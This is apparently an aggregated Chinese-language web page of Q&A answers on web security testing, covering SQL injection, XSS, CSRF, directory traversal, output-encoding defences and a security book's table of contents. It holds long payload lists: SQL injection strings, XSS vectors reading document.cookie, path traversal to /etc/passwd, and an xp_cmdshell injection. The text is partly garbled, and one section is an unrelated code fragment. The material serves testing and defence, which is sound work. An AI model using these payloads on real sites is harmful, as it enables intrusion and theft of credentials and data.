本文目录一览：
- 1、如何获取XSS测试平台邀请码
- 2、如何进行WEB安全性测试
- 3、如何防范XSS跨站脚本攻击测试篇
- 4、白帽子讲Web安全的目录
- 5、如何测试XSS漏洞
- 6、如何测试本地程序的安全性？如 sql注入 XSS攻击
如何获取XSS测试平台邀请码
Ext.create('Ext.grid.Panel',{title:'ActionColumnDemo',store:Ext.data.StoreManager.lookup('employeeStore'),columns:[{text:'FirstName',dataIndex:'firstname'},{text:'LastName',dataIndex:'lastname'},{xtype:'actioncolumn',width:50,items:
如何进行WEB安全性测试
安全性测试主要从以下方面考虑 主要从以下方面考虑： WEB 的安全性测试主要从以下方面考虑： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在FORM 和/FORM的标签中间的每一个 参数传递都有可能被利用. form id="form_search" action="/search/" method="get" div input type="text" name="q" id="search_q" value="" / input name="search" type="image" src="/media/images/site/search_btn.gif" / a href="/search/" class="fl"Gamefinder/a /div /form 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：为什么是 OR， 以及',――是特殊的字符呢？ 例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password' 如 输入 ' admin' or 1='1pwd=11，SQL 语句会变成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符， 在判断多个条件的时候， 只要一 个成立，则等式就成立，后面的 AND 就不再时行判断了，也就是 说我们绕过了密码 验证，我们只用用户名就可以登录. 如 输入 '--pwd=11，SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”=!-*/()|”, 和”空格”). 屏蔽出错信息：阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? !--[if !supportLists]--首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 !--[if !supportLists]--其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试： scrīptalert(document.cookie)/scrīpt 注:其它的 XSS 测试语句 scrīptalert(document.cookie)/scrīpt ='scrīptalert(document.cookie)/scrīpt scrīptalert(document.cookie)/scrīpt scrīptalert(vulnerable)/scrīpt %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E scrīptalert('XSS')/scrīpt img src="javascrīpt:alert('XSS')" %0a%0ascrīptalert(\"Vulnerable\")/scrīpt.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp scrīptalert('Vulnerable');/scrīptgt scrīptalert('Vulnerable')/scrīpt ?sql_debug=1 a%5c.aspx a.jsp/scrīptalert('Vulnerable')/scrīpt a/ a?scrīptalert('Vulnerable')/scrīpt "scrīptalert('Vulnerable')/scrīpt ';exec%20master..xp_cmdshell%20'dir%20 c:%20%20c:\inetpub\wwwroot\?.txt'-- %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3ESESSION_ID={SESSION_ID}SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"XSS={()} IMG SRC="javascrīpt:alert('XSS');" IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert("XSS") IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" "IMG SRC=java\0scrīpt:alert(\"XSS\")";' out IMG SRC=" javascrīpt:alert('XSS');" scrīpta=/XSS/alert(a.source)/scrīpt BODY BACKGROUND="javascrīpt:alert('XSS')" BODY ōNLOAD=alert('XSS') IMG DYNSRC="javascrīpt:alert('XSS')" IMG LOWSRC="javascrīpt:alert('XSS')" BGSOUND SRC="javascrīpt:alert('XSS');" br size="{alert('XSS')}" LAYER SRC=""/layer LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');" IMG SRC='vbscrīpt:msgbox("XSS")' IMG SRC="mocha:[code]" IMG SRC="livescrīpt:[code]" META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');" IFRAME SRC=javascrīpt:alert('XSS')/IFRAME FRAMESETFRAME SRC=javascrīpt:alert('XSS')/FRAME/FRAMESET TABLE BACKGROUND="javascrīpt:alert('XSS')" DIV STYLE="background-image: url(javascrīpt:alert('XSS'))" DIV STYLE="behaviour: url('');" DIV STYLE="width: expression(alert('XSS'));" IMG SRC=javascript:ale STYLE@im\port'\ja\vasc\ript:alert("XSS")';/STYLE IMG STYLE='xss:expre\ssion(alert("XSS"))' STYLE TYPE="text/javascrīpt"alert('XSS');/STYLE STYLE type="text/css"BODY{background:url("javascrīpt:alert('XSS')")}/STYLE BASE HREF="javascrīpt:alert('XSS');//" getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); XML SRC="javascrīpt:alert('XSS');" " BODY ōNLOAD="a();"scrīptfunction a(){alert('XSS');}/scrīpt" scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"/scrīpt IMG SRC="javascrīpt:alert('XSS')" IMG SRC="" scrīpt a="" SRC=""/scrīpt scrīpt ="" SRC=""/scrīpt scrīpt a="" '' SRC=""/scrīpt scrīpt "a=''" SRC=""/scrīpt scrīptdocument.write("SCRI");/scrīptPT SRC=""/scrīpt A HREF=;link/A STYLE TYPE="text/css".XSS{background-image:url("javascrīpt:alert('XSS')");}/STYLEA CLASS=XSS !--#exec cmd="/bin/echo 'scrīpt SRC'"--!--#exec cmd="/bin/echo '=;/scrīp 最后,当用户浏览 时便会弹出一个警告框，内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚 本，当用户浏览此帖时，cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证，着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本（XSS），但它与 XSS 非常不同，并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户，而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好， CSRF 也好， 它的目的在于窃取用户的信息， SESSION 和 COOKIES 如 （关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG： ）， (1)如何进行 CSRF 测试？ 关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞？ 请参见 请 参见 avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection：如果表单用于发送 email,表单中可能包括 “subject”输入项（邮件标题），我们要验证 subject 中应能 escape 掉“\n” 标识。 !--[if !supportLists]--!--[endif]--因为“\n”是新行，如果在 subject 中输入“hello\ncc:spamvictim@example.com”，可能会形成以 下 Subject: hello cc: spamvictim@example.com !--[if !supportLists]--!--[endif]--如果允许用户使用这样的 其它用 subject， 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) （1）如何进行目录遍历测试？ 目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法： URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 ， 掉了这些目录跳转符。 （2）如何预防目录遍历？ 限制 Web 应用在服务器上的运行 进 行严格的输入验证，控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) （1）如何进行测试？ 首 先找到一些错误页面，比如 404,或 500 页面。 验证在调试未开通过的情况下， 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等，而并非曝露一些程序代码。 （2）如何预防？ 测试人员在进行需求检查时，应该对出错信息 进行详细查，比如是否给 出了出错信息，是否给出了正确的出错信息。
如何防范XSS跨站脚本攻击测试篇
不可信数据 不可信数据通常是来自HTTP请求的数据，以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看，来自数据库、网络服务器和其他来源的数据往往也是不可信的，也就是说，这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕，将其视为包含攻击，这意味着在发送不可信数据之前，应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化，下游直译程序执行的攻击可以迅速蔓延。 传统上来看，输入验证是处理不可信数据的最好办法，然而，输入验证法并不是注入式攻击的最佳解决方案。首先，输入验证通常是在获取数据时开始执行的，而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次，可能更加重要的是，应用程序必须允许潜在危害的字符进入，例如，是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要，但这始终不是解决注入攻击的完整解决方案，最好将输入攻击作为纵深防御措施，而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理，而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码，有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符，而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了，后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码，并不能缓解攻击。但是，如果没有正确理解服务器和浏览器间的目标字符集，有可能导致与非目标字符产生通信，从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具，能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响，仍将正确呈现在浏览器中，解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式，它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式，浏览器作为直译程序，攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup，因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的，因为它不仅是层次结构的，而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系，必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据，主要有两种注入代码的方式： Injecting UP，上行注入 最常见的方式是关闭现有的context并开始一个新的代码context，例如，当你关闭HTML属性时使用"并开始新的 可以终止脚本块，即使该脚本块被注入脚本内方法调用内的引用字符，这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN，下行注入 另一种不太常见的执行XSS注入的方式就是，在不关闭当前context的情况下，引入一个subcontext。例如，将改为 ，并不需要躲开HTML属性context，相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能，虽然你可能无法躲开引用CSS属性来进行上行注入，你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入，例如，可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用，但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲，如果这样做，你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击，你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别，你必须避免所有可能关闭context的字符;下行注入攻击，你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板，模板上有很多插槽，开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的，这是“白名单”模式，否认所有不允许的事情。 根据浏览器解析HTML的方式的不同，每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时，必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说，这种方法将HTML文档当作参数化的数据库查询，数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则，基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试，我们保证本文提出的规则都是安全的。 定义好插槽位置，开发者们在放置任何数据前，都应该仔细分析以确保安全性。浏览器解析是非常棘手的，因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码，如 标签内。也可以对进入属性的不可行数据进行实体编码，尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效，例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename ...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/ inatagname 更重要的是，不要接受来自不可信任来源的JavaScript代码然后运行，例如，名为“callback”的参数就包含JavaScript代码段，没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是，这对于其他HTML context是远远不够的，你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了XML中5个重要字符(、、 、 "、 ')外，还加入了斜线符，以帮助结束HTML实体。 -- -- -- "--" '--''isnotrecommended /--/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外，使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space] % * + , - / ; = ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前，进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。
白帽子讲Web安全的目录
《白帽子讲web安全》第一篇 世界观安全第1章 我的安全世界观 21.1 web安全简史 21.1.1 中国黑客简史 21.1.2 黑客技术的发展历程 31.1.3 web安全的兴起 51.2 黑帽子，白帽子 61.3 返璞归真，揭秘安全的本质 71.4 破除迷信，没有银弹 91.5 安全三要素 101.6 如何实施安全评估 111.6.1 资产等级划分 121.6.2 威胁分析 131.6.3 风险分析 141.6.4 设计安全方案 151.7 白帽子兵法 161.7.1 secure by default原则 161.7.2 纵深防御原则 181.7.3 数据与代码分离原则 19.1.7.4 不可预测性原则 211.8 小结 22（附）谁来为漏洞买单？ 23第二篇 客户端脚本安全第2章 浏览器安全 262.1 同源策略 262.2 浏览器沙箱 302.3 恶意网址拦截 332.4 高速发展的浏览器安全 362.5 小结 39第3章 跨站脚本攻击（xss） 403.1 xss简介 403.2 xss攻击进阶 433.2.1 初探xss payload 433.2.2 强大的xss payload 463.2.3 xss 攻击平台 623.2.4 终极武器：xss worm 643.2.5 调试javascript 733.2.6 xss构造技巧 763.2.7 变废为宝：mission impossible 823.2.8 容易被忽视的角落：flash xss 853.2.9 真的高枕无忧吗：javascript开发框架 873.3 xss的防御 893.3.1 四两拨千斤：httponly 893.3.2 输入检查 933.3.3 输出检查 953.3.4 正确地防御xss 993.3.5 处理富文本 1023.3.6 防御dom based xss 1033.3.7 换个角度看xss的风险 1073.4 小结 107第4章 跨站点请求伪造（csrf） 1094.1 csrf简介 1094.2 csrf进阶 1114.2.1 浏览器的cookie策略 1114.2.2 p3p头的副作用 1134.2.3 get? post? 1164.2.4 flash csrf 1184.2.5 csrf worm 1194.3 csrf的防御 1204.3.1 验证码 1204.3.2 referer check 1204.3.3 anti csrf token 1214.4 小结 124第5章 点击劫持（clickjacking） 1255.1 什么是点击劫持 1255.2 flash点击劫持 1275.3 图片覆盖攻击 1295.4 拖拽劫持与数据窃取 1315.5 clickjacking 3.0：触屏劫持 1345.6 防御clickjacking 1365.6.1 frame busting 1365.6.2 x-frame-options 1375.7 小结 138第6章 html 5 安全 1396.1 html 5新标签 1396.1.1 新标签的xss 1396.1.2 iframe的sandbox 1406.1.3 link types: noreferrer 1416.1.4 canvas的妙用 1416.2 其他安全问题 1446.2.1 cross-origin resource sharing 1446.2.2 postmessage——跨窗口传递消息 1466.2.3 web storage 1476.3 小结 150第三篇 服务器端应用安全第7章 注入攻击 1527.1 sql注入 1527.1.1 盲注（blind injection） 1537.1.2 timing attack 1557.2 数据库攻击技巧 1577.2.1 常见的攻击技巧 1577.2.2 命令执行 1587.2.3 攻击存储过程 1647.2.4 编码问题 1657.2.5 sql column truncation 1677.3 正确地防御sql注入 1707.3.1 使用预编译语句 1717.3.2 使用存储过程 1727.3.3 检查数据类型 1727.3.4 使用安全函数 1727.4 其他注入攻击 1737.4.1 xml注入 1737.4.2 代码注入 1747.4.3 crlf注入 1767.5 小结 179第8章 文件上传漏洞 1808.1 文件上传漏洞概述 1808.1.1 从fckeditor文件上传漏洞谈起 1818.1.2 绕过文件上传检查功能 1828.2 功能还是漏洞 1838.2.1 apache文件解析问题 1848.2.2 iis文件解析问题 1858.2.3 php cgi路径解析问题 1878.2.4 利用上传文件钓鱼 1898.3 设计安全的文件上传功能 1908.4 小结 191第9章 认证与会话管理 1929.1 who am i? 1929.2 密码的那些事儿 1939.3 多因素认证 1959.4 session与认证 1969.5 session fixation攻击 1989.6 session保持攻击 1999.7 单点登录（sso） 2019.8 小结 203第10章 访问控制 20510.1 what can i do? 20510.2 垂直权限管理 20810.3 水平权限管理 21110.4 oauth简介 21310.5 小结 219第11章 加密算法与随机数 22011.1 概述 22011.2 stream cipher attack 22211.2.1 reused key attack 22211.2.2 bit-flipping attack 22811.2.3 弱随机iv问题 23011.3 wep破解 23211.4 ecb模式的缺陷 23611.5 padding oracle attack 23911.6 密钥管理 25111.7 伪随机数问题 25311.7.1 弱伪随机数的麻烦 25311.7.2 时间真的随机吗 25611.7.3 破解伪随机数算法的种子 25711.7.4 使用安全的随机数 26511.8 小结 265（附）understanding md5 length extension attack 267第12章 web框架安全 28012.1 mvc框架安全 28012.2 模板引擎与xss防御 28212.3 web框架与csrf防御 28512.4 http headers管理 28712.5 数据持久层与sql注入 28812.6 还能想到什么 28912.7 web框架自身安全 28912.7.1 struts 2命令执行漏洞 29012.7.2 struts 2的问题补丁 29112.7.3 spring mvc命令执行漏洞 29212.7.4 django命令执行漏洞 29312.8 小结 294第13章 应用层拒绝服务攻击 29513.1 ddos简介 29513.2 应用层ddos 29713.2.1 cc攻击 29713.2.2 限制请求频率 29813.2.3 道高一尺，魔高一丈 30013.3 验证码的那些事儿 30113.4 防御应用层ddos 30413.5 资源耗尽攻击 30613.5.1 slowloris攻击 30613.5.2 http post dos 30913.5.3 server limit dos 31013.6 一个正则引发的血案：redos 31113.7 小结 315第14章 php安全 31714.1 文件包含漏洞 31714.1.1 本地文件包含 31914.1.2 远程文件包含 32314.1.3 本地文件包含的利用技巧 32314.2 变量覆盖漏洞 33114.2.1 全局变量覆盖 33114.2.2 extract()变量覆盖 33414.2.3 遍历初始化变量 33414.2.4 import_request_variables变量覆盖 33514.2.5 parse_str()变量覆盖 33514.3 代码执行漏洞 33614.3.1 “危险函数”执行代码 33614.3.2 “文件写入”执行代码 34314.3.3 其他执行代码方式 34414.4 定制安全的php环境 34814.5 小结 352第15章 web server配置安全 35315.1 apache安全 35315.2 nginx安全 35415.3 jboss远程命令执行 35615.4 tomcat远程命令执行 36015.5 http parameter pollution 36315.6 小结 364第四篇 互联网公司安全运营第16章 互联网业务安全 36616.1 产品需要什么样的安全 36616.1.1 互联网产品对安全的需求 36716.1.2 什么是好的安全方案 36816.2 业务逻辑安全 37016.2.1 永远改不掉的密码 37016.2.2 谁是大赢家 37116.2.3 瞒天过海 37216.2.4 关于密码取回流程 37316.3 账户是如何被盗的 37416.3.1 账户被盗的途径 37416.3.2 分析账户被盗的原因 37616.4 互联网的垃圾 37716.4.1 垃圾的危害 37716.4.2 垃圾处理 37916.5 关于网络钓鱼 38016.5.1 钓鱼网站简介 38116.5.2 邮件钓鱼 38316.5.3 钓鱼网站的防控 38516.5.4 网购流程钓鱼 38816.6 用户隐私保护 39316.6.1 互联网的用户隐私挑战 39316.6.2 如何保护用户隐私 39416.6.3 do-not-track 39616.7 小结 397（附）麻烦的终结者 398第17章 安全开发流程（sdl） 40217.1 sdl简介 40217.2 敏捷sdl 40617.3 sdl实战经验 40717.4 需求分析与设计阶段 40917.5 开发阶段 41517.5.1 提供安全的函数 41517.5.2 代码安全审计工具 41717.6 测试阶段 41817.7 小结 420第18章 安全运营 42218.1 把安全运营起来 42218.2 漏洞修补流程 42318.3 安全监控 42418.4 入侵检测 42518.5 紧急响应流程 42818.6 小结 430（附）谈谈互联网企业安全的发展方向 431· · · · · ·
如何测试XSS漏洞
XSS跨站漏洞分为大致三种：储存型XSS，反射型XSS，和DOM型XSS，一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在，google，百度，360等都存在，存在和危害范围广，危害安全性大。
具体利用的话：
储存型XSS，一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试，看是否提交后在页面弹窗，这种储存型XSS是被写入到页面当中的，如果管理员不处理，那么将永久存在，这种XSS攻击者可以通过留言等提交方式，把恶意代码植入到服务器网站上， 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS，一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码，例如：127.0.0.1/admin.php?key="scriptalert("xss")/script，也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者，那么受害者可能会使自己的cookie被盗取或者“弹框“，这种XSS一次性使用，危害比储存型要小很多。
dom型：常用于挖掘，是因为api代码审计不严所产生的，这种dom的XSS弹窗可利用和危害性并不是很大，大多用于钓鱼。比起存储型和反射型，DOM型并不常用。
缺点：
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底，后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
所以楼主如果想更加深层次的学习XSS的话，最好有扎实的前后端开发基础，还要学会代码审计等等。
推荐的话，书籍建议看看《白帽子讲web安全》，《XSS跨站脚本攻击剖析与防御》
一般配合的话，kalilinux里面的BEFF是个很著名的XSS漏洞利用工具，楼主有兴趣可以去看看。
纯手工打字，望楼主采纳。
如何测试本地程序的安全性？如 sql注入 XSS攻击
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击．
防护
归纳一下，主要有以下几点：
1.永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测，软件一般采用sql注入检测工具jsky，网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻击等。